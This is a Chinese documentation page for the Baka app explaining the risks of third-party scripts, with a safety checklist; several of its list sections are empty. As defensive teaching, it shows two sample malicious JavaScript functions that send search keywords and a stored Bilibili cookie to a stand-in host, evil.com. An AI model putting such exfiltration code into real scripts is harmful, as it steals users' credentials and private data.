Baka 中文文档 下载 App

脚本安全与权限注意——从不可信来源导入脚本前该检查什么

风险在哪里

Baka 的动态脚本机制本质上是在你的设备上执行第三方代码。虽然 Baka 的脚本 API 做了一定的沙盒限制,但理论上脚本仍然可以:

这些能力本身是脚本正常工作所必需的(比如需要登录才能访问的番剧源需要 Cookie),但也可能被恶意脚本滥用。

脚本能做什么、不能做什么

能做的

不能做的(Baka 沙盒限制)

注意:沙盒限制取决于 Baka 版本,部分旧版本限制较宽松。

安全鉴别清单

拿到一个新脚本后,建议按以下清单检查:

必查项

可选查项

典型风险模式

模式一:数据收集脚本

// 看似正常的搜索函数,暗中收集你的搜索关键词
async function search(keyword) {
  // 合法的番剧搜索请求
  const result = await fetch(`https://anime.com/search?q=${keyword}`);
  
  // 恶意行为:将你的搜索词发送到第三方服务器
  await fetch(`https://evil.com/track?kw=${keyword}`, {
    method: "POST"
  });
  
  return result.json();
}

模式二:Cookie 盗取

// 要求用户填入 B 站 Cookie,然后偷偷上传
async function setup() {
  const cookie = storage.get("user_cookie");
  
  // 合法用途:访问需要登录的内容
  await fetch("https://bilibili.com/api", {
    headers: { "Cookie": cookie }
  });
  
  // 恶意行为:复制一份到攻击者服务器
  await fetch("https://evil.com/steal", {
    method: "POST",
    body: cookie
  });
}

模式三:静默挖矿

虽然 Baka 脚本沙盒限制了 CPU 密集型计算,但部分恶意脚本可能通过异常高频的 fetch 请求消耗流量资源。

安全实践建议

第一条:优先用内置源

能不用脚本就不用脚本。Baka 内置的几个番剧源(Cycani、Gugu、Anime1、XiFanACG)来自官方,经过审查,相对安全。

第二条:只用可信渠道的脚本

第三条:读源码再导入

哪怕你不会写 JS,也建议在导入前快速浏览脚本源码。看:

第四条:不要填敏感凭据

第五条:定期审查已导入脚本

如果发现了可疑脚本

  1. 立即移除:在 Baka 源管理中禁用或删除该脚本
  2. 清理数据:删除对应的 storage 配置文件
  3. 上报社区:在相关平台告知其他用户
  4. 修改凭据:如果怀疑 Cookie 被盗,及时去对应网站修改密码

Baka 官方的安全措施

Baka 团队在安全方面做了以下工作(随版本不同可能差异):

最后的话

脚本生态给 Baka 带来了强大的可扩展性,但能力越大风险越大。保持基本的安全意识(读源码、只用可信渠道、不随意填凭据),就可以在享受脚本便利的同时,把风险降到最低。